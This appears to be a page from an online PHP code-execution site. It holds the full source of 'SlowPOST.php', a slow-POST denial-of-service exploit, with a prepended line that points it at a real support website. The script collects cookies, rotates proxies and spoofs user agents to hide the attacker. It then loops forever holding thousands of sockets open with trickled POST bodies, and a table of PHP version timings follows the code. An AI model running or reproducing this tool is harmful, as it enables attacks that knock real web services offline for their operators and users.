@ 2013-05-13T06:29:18Z <?php
set_time_limit(0);
ignore_user_abort(true);
$_SERVER['argv'][1] = 'http://support.ioncube.com/winapp/';
?><?php
/**
* Exploit Title: SlowPOST.php - POST Denial-Of-Service [v1.9.2]
*
* Date: 13.05.2013
* Author: NewEraCracker
* License: Public Domain
*
* How to run using php command line:
* Linux : php-cli SlowPOST.php
* Windows : php SlowPOST.php
*
* This exploit might expose your IP Address in server logs. Be aware.
*/
//-------------------------
// CONFiG
//-------------------------
$CONFIG['max_cookies'] = 20;
$CONFIG['max_sockets'] = 9001;
$CONFIG['timeout_ms'] = 500;
$CONFIG['usleep_time'] = 10;
//-------------------------
// INiT
//-------------------------
// Define EXPLOIT_VERSION
if(!defined('EXPLOIT_VERSION'))
define('EXPLOIT_VERSION', 'v1.9.2');
// Define STDIN
if(!defined('STDIN'))
define('STDIN', fopen('php://stdin', 'r'));
// Check SAPI
if(PHP_SAPI != 'cli') {
echo 'This script is not meant to be ran via browser.';
exit(1);
}
// Check PHP Version
if(version_compare(PHP_VERSION, '5.0.4') < 0) {
echo 'This support only supports PHP 5.0.4 and higher.';
exit(1);
}
// Globals - DO NOT EDIT
$global_proxy_array = array();
//-------------------------
// FUNCTiONS FOR THE LULZ
//-------------------------
/** Read STDIN and return it */
function readSTDIN() {
$file = STDIN;
if(!$file) return false;
return trim(fgets($file));
}
/** Receive a filename that has proxies listed in it and fills the $global_proxy_array */
function proxyLoadFile($filename) {
global $global_proxy_array;
// Load proxy list file
$filename = str_replace('\\', '/', $filename);
$content = @file_get_contents($filename);
if(!$filename || !$content) {
echo $filename.' is not a valid proxy-list file!';
exit(1);
}
$content = str_replace(array("\r\n", "\r"), "\n", $content);
$content = explode("\n", $content);
// Grab the proxies
foreach($content as $value) {
$tmp = explode(':', $value);
if(isset($tmp[0], $tmp[1])) {
$tmp[0] = trim($tmp[0]);
$tmp[1] = (int)(trim($tmp[1]));
// The proxy
$global_proxy_array[] = array('host' => $tmp[0], 'port' => $tmp[1]);
}
}
}
/** Returns a random a proxy */
function proxyGetRandom() {
global $global_proxy_array;
// Give a random proxy
if(count($global_proxy_array)) {
$proxy = null;
while(!$proxy) {
$rand = mt_rand(0, count($global_proxy_array) - 1);
$proxy = (isset($global_proxy_array[$rand]) ? $global_proxy_array[$rand] : null);
}
return $proxy;
}
return false;
}
/** Returns a random useragent */
function randomUserAgent() {
// Microsoft Windows versions
$os = array('5.0', '5.1', '5.2', '6.0', '6.1', '6.2');
// Select a random version
$os = $os[mt_rand(0, count($os) - 1)];
// Select a random browser
if(mt_rand(0, 1)) {
// Internet Explorer versions
$ua[0] = array('4.0', '7.0', '4.0');
$ua[1] = array('4.0', '8.0', '4.0');
$ua[2] = array('5.0', '9.0', '5.0');
$ua[3] = array('5.0', '10.0', '6.0');
// Random IE
$ua = $ua[mt_rand(0, count($ua) - 1)];
return "Mozilla/{$ua[0]} (compatible; MSIE {$ua[1]}; Windows NT {$os}; Trident/{$ua[2]})";
} else {
// Mozilla Firefox versions
$ua = array('17.0', '18.0', '19.0', '20.0', '21.0');
// Random FF
$ua = $ua[mt_rand(0, count($ua) - 1)];
return "Mozilla/5.0 (Windows NT {$os}; rv:{$ua}) Gecko/20100101 Firefox/{$ua}";
}
}
/** Opens a custom socket and returns it */
function openCustomSocket($newEraUrl, $newEraProxy = null) {
global $CONFIG;
@ini_set('default_socket_timeout', 1);
$newEraConnection = (($newEraProxy == null) ? $newEraUrl : $newEraProxy);
$host = (($newEraConnection->ssl) ? 'ssl://' : 'tcp://').$newEraConnection->name;
$fp = @fsockopen($host, $newEraConnection->port);
if(!$fp)
return false;
stream_set_blocking($fp, 0);
stream_set_timeout($fp, 0, $CONFIG['timeout_ms']);
return $fp;
}
/**
* Receives a socket and performs the start of a slowPosting
* Returns Content-Length on success and false on failure
*/
function slowPostStart($sock, $newEraUrl, $newEraProxy, $cookie) {
// Check the socket
if(!$sock)
return false;
// Generate a random Content-Length
$length = mt_rand(1337, 133700);
// Build
$header = 'POST '.($newEraProxy ? $newEraUrl->full_url : $newEraUrl->path).' HTTP/1.1'."\r\n";
$header .= 'Host: '.$newEraUrl->name."\r\n";
$header .= 'Connection: Keep-Alive'."\r\n";
$header .= 'Accept: Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'."\r\n";
$header .= 'User-Agent: '.randomUserAgent()."\r\n";
$header .= 'Accept-Language: en-US;q=0.8,en;q=0.6'."\r\n";
$header .= 'Accept-Encoding: gzip,deflate'."\r\n";
$header .= 'Keep-Alive: '.mt_rand(60, 120)."\r\n";
$header .= 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8'."\r\n";
$header .= mt_rand(0, 1) ? 'Referer: '.$newEraUrl->full_url."\r\n" : '';
$header .= ($cookie ? "Cookie: {$cookie}\r\n" : '');
$header .= 'Content-Length: '.$length."\r\n";
$header .= "\r\n";
// Do it
@fwrite($sock, $header);
return $length;
}
/** Receives a socket and continues the slowPosting */
function slowPostContinue($sock, $bytes = 5) {
global $CONFIG;
// Check the socket
if(!$sock)
return false;
// Check the $bytes
if(intval($bytes) != $bytes)
$bytes = 5;
// Throttle execution speed slightly
if($CONFIG['usleep_time'] > 0)
@usleep($CONFIG['usleep_time']);
// Do it :D
$tmp = '';
for($j = 0; $j < $bytes; $j++)
$tmp .= chr(mt_rand(33, 126));
@fwrite($sock, urlencode($tmp));
return true;
}
//-------------------------
// CLASSES FOR THE LULZ
//-------------------------
/** I want cookies! Give me cookies! */
class NewEraCookies {
private $max_cookies;
private $cookies = array();
/** Constructor */
public function __construct($newEraUrl, $newEraProxy, $max_cookies, $proxyFile = null, $output = false) {
$this->update_object($newEraUrl, $newEraProxy, $max_cookies, $proxyFile, $output);
}
/** Object updater */
public function update_object($newEraUrl, $newEraProxy, $max_cookies, $proxyFile = null, $output = false) {
$this->max_cookies = $max_cookies;
$this->cookies = array();
if($output)
echo PHP_EOL.'BUILDING COOKIES ';
for($i = 0; $i < $this->max_cookies; $i++) {
// Using Proxy file?
if($proxyFile) {
$newproxy = proxyGetRandom();
if(!$newproxy)
exit($proxyFile.' is not a valid proxy-list file!');
$newEraProxy->update_object('tcp://'.$newproxy['host'].':'.$newproxy['port']);
}
$this->cookies[$i] = self::cookieGrab($newEraUrl, $newEraProxy);
if($output)
echo '.';
}
}
/** Returns a cookie by its index */
public function returnCookieByIndex($idx) {
if($idx == 'random')
$idx = mt_rand(0, $this->max_cookies - 1);
if(isset($this->cookies[$idx]))
return $this->cookies[$idx];
return '';
}
/** Function to parse set-cookie from header fields */
public static function cookieParse($header) {
$cookies = array();
foreach($header as $line) {
if(preg_match('/^Set-Cookie: /i', $line)) {
$line = preg_replace('/^Set-Cookie: /i', '', trim($line));
$csplit = explode(';', $line);
$cdata = array();
$grabbed_cookie_data = false;
foreach($csplit as $data) {
$cinfo = explode('=', $data);
$cinfo[0] = trim($cinfo[0]);
if(!$grabbed_cookie_data) {
$cdata['value']['key'] = $cinfo[0];
$cdata['value']['value'] = $cinfo[1];
$grabbed_cookie_data = true;
continue;
}
$cinfo[0] = strtolower($cinfo[0]);
if($cinfo[0] == 'expires') $cinfo[1] = @strtotime($cinfo[1]);
if($cinfo[0] == 'secure') $cinfo[1] = 'true';
if(in_array($cinfo[0], array('domain', 'expires', 'path', 'secure', 'comment'))) {
$cdata[$cinfo[0]] = $cinfo[1];
}
}
$cookies[] = $cdata;
}
}
return $cookies;
}
/** Function to build the request cookie header from parsed set-cookie data */
public static function cookieBuild($data) {
if(is_array($data)) {
$cookie = array();
foreach($data as $d)
$cookie[] = $d['value']['key'].'='.$d['value']['value'];
if(count($cookie) > 0)
return trim(implode('; ', $cookie));
}
return false;
}
/** Function to grab cookies from an url using PHP's fopen */
public static function cookieGrab($newEraUrl, $newEraProxy = null) {
// Build connection header
$header = 'Host: '.$newEraUrl->name."\r\n";
$header .= 'Connection: Keep-Alive'."\r\n";
$header .= 'Accept: Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'."\r\n";
$header .= 'User-Agent: '.randomUserAgent()."\r\n";
$header .= 'Accept-Language: en-US;q=0.8,en;q=0.6'."\r\n";
$header .= 'Accept-Encoding: gzip,deflate'."\r\n";
$header .= 'Keep-Alive: '.mt_rand(60, 120)."\r\n";
// Check proxy url
if($newEraProxy) {
// Enable proxy
$proxy_url = $newEraProxy->full_url;
$request_fulluri = true;
} else {
// Disable proxy
$proxy_url = '';
$request_fulluri = false;
}
// Build stream context
$context = stream_context_create(array(
'http' => array(
'method' => 'GET',
'timeout' => (3),
'header' => $header,
'proxy' => $proxy_url,
'request_fulluri' => $request_fulluri,
'max_redirects' => (0),
'protocol_version' => (1.1),
'ignore_errors' => true
),
'ssl' => array(
'verify_peer' => false
)
));
// Let the fun begin
$cookie = '';
$handle = @fopen($newEraUrl->full_url, 'r', false, $context);
// I hope this does work
if($handle) {
// If it worked, we grab the cookies
$metadata = stream_get_meta_data($handle);
$cookie = self::cookieBuild(self::cookieParse($metadata['wrapper_data']));
// Fun is only at a small distance
@fclose($handle);
}
return $cookie;
}
}
/** Class to construct and handle an url-like object */
class NewEraUrl {
private $host_full_url;
private $host_protocol;
private $host_ssl;
private $host_name;
private $host_port;
private $host_path;
/** Constructor */
public function __construct($host_full_url) {
$this->update_object($host_full_url);
}
/** Object updater */
public function update_object($host_full_url) {
$this->host_full_url = $host_full_url;
$this->host_ssl = ((strpos($this->host_full_url, 'https') === 0) ? true : false);
$this->host_protocol = ($this->host_ssl ? 'https' : 'http');
// Grab other parameters
$host_full_url = explode('/', $host_full_url, 4);
$host_full_url[2] = explode(':', $host_full_url[2], 2);
// Host, Port, Path
$this->host_name = $host_full_url[2][0];
$this->host_port = (isset($host_full_url[2][1]) ? $host_full_url[2][1] : ($this->host_ssl ? 443 : 80));
$this->host_path = '/'.(isset($host_full_url[3]) ? $host_full_url[3] : '');
}
/** Getter for the private properties */
public function __get($var) {
$var = 'host_'.$var;
if(isset($this->{$var}))
return $this->{$var};
}
/** Quick check to see if url is minimally valid */
public static function isValid($host_full_url) {
if(strpos($host_full_url, 'https://') === 0 || strpos($host_full_url, 'http://') === 0)
return true;
}
}
/** Class to construct and handle a proxy-like object */
class NewEraProxy {
private $proxy_full_url;
private $proxy_protocol;
private $proxy_ssl;
private $proxy_name;
private $proxy_port;
/** Constructor */
public function __construct($proxy_full_url) {
$this->update_object($proxy_full_url);
}
/** Object updater */
public function update_object($proxy_full_url) {
$this->proxy_full_url = $proxy_full_url;
$this->proxy_ssl = ((strpos($this->proxy_full_url, 'ssl') === 0) ? true : false);
$this->proxy_protocol = ($this->proxy_ssl ? 'ssl' : 'tcp');
// Grab other parameters
if(false !== ($tmp = strpos($proxy_full_url, '://')))
$proxy_full_url = substr($proxy_full_url, $tmp + 3);
$proxy_full_url = explode(':', $proxy_full_url);
// Host, Port, Path
$this->proxy_name = $proxy_full_url[0];
$this->proxy_port = (int)(isset($proxy_full_url[1]) ? $proxy_full_url[1] : ($this->proxy_ssl ? '443' : '80'));
}
/** Getter for the private properties */
public function __get($var) {
$var = 'proxy_'.$var;
if(isset($this->{$var}))
return $this->{$var};
}
}
//-------------------------
// MAiN CODE FOR THE LULZ
//-------------------------
echo "
_______. __ ______ ____ __ ____
/ || | / __ \ \ \ / \ / /
| (----`| | | | | | \ \/ \/ /
\ \ | | | | | | \ /
.----) | | `----.| `--' | \ /\ /
|_______/ |_______| \______/ \__/ \__/
.______ ______ _______.___________.
| _ \ / __ \ / | |
| |_) | | | | | | (----`---| |----`
| ___/ | | | | \ \ | |
| | | `--' | .----) | | |
| _| \______/ |_______/ |__|
";
echo PHP_EOL.EXPLOIT_VERSION.' by NewEraCracker'.PHP_EOL;
// Fetch the URL to attack
$url = null;
if(isset($_SERVER['argv'][1]) && NewEraUrl::isValid($_SERVER['argv'][1]))
$url = $_SERVER['argv'][1];
// Fetch proxy to use
$proxy['host'] = null;
$proxy['port'] = null;
$proxy['file'] = false;
if(!empty($url) && isset($_SERVER['argv'][2])) {
if($proxy = explode(':', $_SERVER['argv'][2])) {
if(isset($proxy[0], $proxy[1])) {
$proxy['file'] = false;
$proxy['host'] = $proxy[0];
$proxy['port'] = (int)($proxy[1]);
unset($proxy[0], $proxy[1]);
}
}
if(!(isset($proxy['host'], $proxy['port'])) && is_readable($_SERVER['argv'][2])) {
$proxy['file'] = true;
$proxy['filename'] = $_SERVER['argv'][2];
}
}
// Ask for proxy
if(empty($url) && (empty($proxy['host']) || empty($proxy['port'])) && !$proxy['file']) {
$proxy['use'] = null;
while(!$proxy['use']) {
echo PHP_EOL.'Do you want to use a proxy [yes/no/file]: ';
$proxy['use'] = readSTDIN();
if(strpos(strtolower($proxy['use']), 'n') === 0) {
break;
} elseif(strpos(strtolower($proxy['use']), 'y') === 0) {
echo PHP_EOL.'Proxy IP: ';
$proxy['host'] = readSTDIN();
echo PHP_EOL.'Proxy Port: ';
$proxy['port'] = (int)(readSTDIN());
} elseif(strpos(strtolower($proxy['use']), 'f') === 0) {
echo PHP_EOL.'Proxy file: ';
$proxy['filename'] = readSTDIN();
if(is_readable($proxy['filename'])) {
$proxy['file'] = true;
} else {
echo PHP_EOL.'Invalid file!'.PHP_EOL;
$proxy['use'] = null;
}
} else {
$proxy['use'] = null;
echo PHP_EOL.'Invalid choice!'.PHP_EOL;
}
}
unset($proxy['use']);
}
// Ask for target URL
while(!$url) {
echo PHP_EOL.'Target url: ';
$url = readSTDIN();
if(NewEraUrl::isValid($url)) break;
$url = null;
echo PHP_EOL.'Invalid target!'.PHP_EOL;
}
// Init proxy suport
if(empty($proxy['host']) || empty($proxy['port'])) {
$newEraProxy = null;
if(!empty($proxy['file'])) {
proxyLoadFile($proxy['filename']);
$newproxy = proxyGetRandom();
if(!$newproxy)
exit($proxy['filename'].' is not a valid proxy-list file!');
$newEraProxy = new NewEraProxy('tcp://'.$newproxy['host'].':'.$newproxy['port']);
}
} else {
$newEraProxy = new NewEraProxy('tcp://'.$proxy['host'].':'.$proxy['port']);
}
// Init the others
$newEraUrl = new NewEraUrl($url);
$newEraCookies = new NewEraCookies($newEraUrl, $newEraProxy, $CONFIG['max_cookies'], $proxy['file'], true);
// Start
echo PHP_EOL.'IMMA FIRIN MAH LAZOR ';
$fp = array();
// Do it
while(1) {
for($i = 0; $i < $CONFIG['max_sockets']; $i++) {
// Using Proxy file?
if($proxy['file']) {
$newproxy = proxyGetRandom();
if(!$newproxy)
exit($proxy['filename'].' is not a valid proxy-list file!');
$newEraProxy->update_object('tcp://'.$newproxy['host'].':'.$newproxy['port']);
}
// Open a new socket
$tmp = array();
if($tmp['sock'] = openCustomSocket($newEraUrl, $newEraProxy)) {
// Progress bar
echo '.';
// Start a new slowPost and find its length
if($tmp['length'] = slowPostStart($tmp['sock'], $newEraUrl, $newEraProxy, $newEraCookies->returnCookieByIndex('random'))) {
if(isset($fp[$i], $fp[$i]['sock'])) {
// Close connection in the global socket array if it is being used
@fclose($fp[$i]['sock']);
unset($fp[$i]);
}
// Save the new socket in the global socket array
$fp[$i] = $tmp;
} else {
// Epic fail?
@fclose($tmp['sock']);
}
}
unset($tmp);
// Check the current sockets
foreach($fp as $k => $v) {
if($fp[$k]['length'] > 0) {
// Contine old slowPosts
$tmp = ($fp[$k]['length'] < 5) ? $fp[$k]['length'] : 5;
slowPostContinue($fp[$k]['sock'], $tmp);
$fp[$k]['length'] -= $tmp;
} else {
// Close completed slowPosts
@fclose($fp[$k]['sock']);
unset($fp[$k]);
}
}
}
}
?>
Enable javascript to submit You have javascript disabled. You will not be able to edit any code.
Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).
Version System time (s) User time (s) Memory (MiB) 8.3.6 1.163 0.840 16.98 8.3.5 1.192 0.809 18.44 8.3.4 1.209 0.793 19.49 8.3.3 1.249 0.753 19.44 8.3.2 1.249 0.753 19.27 8.3.1 1.231 0.763 21.08 8.3.0 1.163 0.840 19.63 8.2.18 1.095 0.905 17.25 8.2.17 1.203 0.800 22.96 8.2.16 1.236 0.766 19.72 8.2.15 1.190 0.813 24.18 8.2.14 1.245 0.756 24.66 8.2.13 1.146 0.856 26.16 8.2.12 1.152 0.849 20.94 8.2.11 1.145 0.861 21.05 8.2.10 1.013 0.990 18.16 8.2.9 0.647 1.356 19.72 8.2.8 0.629 1.372 18.13 8.2.7 0.656 1.345 18.25 8.2.6 0.683 1.320 18.30 8.2.5 0.661 1.345 19.48 8.2.4 0.713 1.289 18.50 8.2.3 0.704 1.301 20.25 8.2.2 0.699 1.302 18.35 8.2.1 0.683 1.319 18.26 8.2.0 0.703 1.299 18.33 8.1.28 1.146 0.856 25.92 8.1.27 1.206 0.796 24.66 8.1.26 1.168 0.832 26.35 8.1.25 1.139 0.863 28.09 8.1.24 1.122 0.879 24.15 8.1.23 1.123 0.880 17.95 8.1.22 0.663 1.339 18.29 8.1.21 0.650 1.353 18.77 8.1.20 0.686 1.315 17.73 8.1.19 0.659 1.341 17.72 8.1.18 0.676 1.326 18.10 8.1.17 0.653 1.350 19.02 8.1.16 0.687 1.309 19.45 8.1.15 0.663 1.340 19.20 8.1.14 0.708 1.299 18.02 8.1.13 0.730 1.273 18.33 8.1.12 0.613 1.389 17.96 8.1.11 0.666 1.335 17.90 8.1.10 0.653 1.350 17.86 8.1.9 0.752 1.248 17.95 8.1.8 0.699 1.302 17.91 8.1.7 0.680 1.323 17.96 8.1.6 0.570 1.434 18.02 8.1.5 0.600 1.402 17.86 8.1.4 0.643 1.360 17.84 8.1.3 0.643 1.358 18.01 8.1.2 0.576 1.425 17.95 8.1.1 0.610 1.392 17.88 8.1.0 0.666 1.336 17.97 8.0.30 0.650 1.352 18.77 8.0.29 0.665 1.344 17.13 8.0.28 0.655 1.344 18.94 8.0.27 0.629 1.371 17.34 8.0.26 0.705 1.294 17.33 8.0.25 0.653 1.349 17.54 8.0.24 0.640 1.363 17.26 8.0.23 0.678 1.328 17.30 8.0.22 0.606 1.396 17.21 8.0.21 0.653 1.350 17.27 8.0.20 0.693 1.309 17.39 8.0.19 0.653 1.349 17.40 8.0.18 0.630 1.373 17.32 8.0.17 0.640 1.362 17.20 8.0.16 0.593 1.408 17.53 8.0.15 0.649 1.351 17.40 8.0.14 0.652 1.347 17.18 8.0.13 0.657 1.348 14.00 8.0.12 1.468 0.497 17.24 8.0.11 1.494 0.445 17.41 8.0.10 1.530 0.414 17.41 8.0.9 1.494 0.413 17.41 8.0.8 1.397 0.533 17.34 8.0.7 1.503 0.444 17.43 8.0.6 1.436 0.517 17.37 8.0.5 1.499 0.447 17.41 8.0.3 1.493 0.462 17.61 8.0.2 1.451 0.506 17.50 8.0.1 1.509 0.441 17.32 8.0.0 1.472 0.436 17.21 7.4.33 0.593 1.410 13.49 7.4.32 0.593 1.410 16.88 7.4.30 0.579 1.421 16.84 7.4.29 0.633 1.368 16.90 7.4.28 0.606 1.396 16.83 7.4.27 0.597 1.407 16.79 7.4.26 0.593 1.409 13.69 7.4.25 1.523 0.412 16.98 7.4.24 1.523 0.424 16.88 7.4.23 1.502 0.473 16.85 7.4.22 1.391 0.546 16.79 7.4.21 1.352 0.580 16.90 7.4.20 1.458 0.476 16.95 7.4.19 1.405 0.523 16.84 7.4.16 1.447 0.499 16.89 7.4.15 1.486 0.469 16.82 7.4.14 1.465 0.494 16.87 7.4.13 1.463 0.501 16.94 7.4.12 1.458 0.503 16.89 7.4.11 1.531 0.509 16.98 7.4.10 1.495 0.551 16.82 7.4.9 1.502 0.538 16.84 7.4.8 1.348 0.638 19.39 7.4.7 1.340 0.572 16.95 7.4.6 1.394 0.614 16.90 7.4.5 1.477 0.449 16.71 7.4.4 1.423 0.623 16.90 7.4.3 1.437 0.574 16.88 7.4.0 1.473 0.518 15.33 7.3.33 0.596 1.404 13.94 7.3.32 0.666 1.335 13.71 7.3.31 1.537 0.412 16.88 7.3.30 1.406 0.528 16.98 7.3.29 1.363 0.575 16.86 7.3.28 1.281 0.542 16.84 7.3.27 1.492 0.460 16.86 7.3.26 1.465 0.493 16.88 7.3.25 1.464 0.469 16.82 7.3.24 1.392 0.572 16.98 7.3.23 1.355 0.503 16.92 7.3.21 1.555 0.492 16.80 7.3.20 1.376 0.626 17.00 7.3.19 1.421 0.551 16.71 7.3.18 1.229 0.603 16.81 7.3.17 1.420 0.554 17.05 7.3.16 1.427 0.595 17.13 7.3.12 1.536 0.451 15.38 7.2.33 1.522 0.533 17.18 7.2.32 1.378 0.585 16.93 7.2.31 1.349 0.642 17.16 7.2.30 1.490 0.524 17.23 7.2.29 1.447 0.547 17.16 7.2.0 2.013 0.442 19.54 7.1.10 1.994 0.462 18.37 7.1.7 0.000 0.009 17.47 7.1.6 0.016 0.010 19.40 7.1.5 0.003 0.015 17.52 7.0.20 0.013 0.003 15.45
preferences:dark mode live preview
43.2 ms | 401 KiB | 5 Q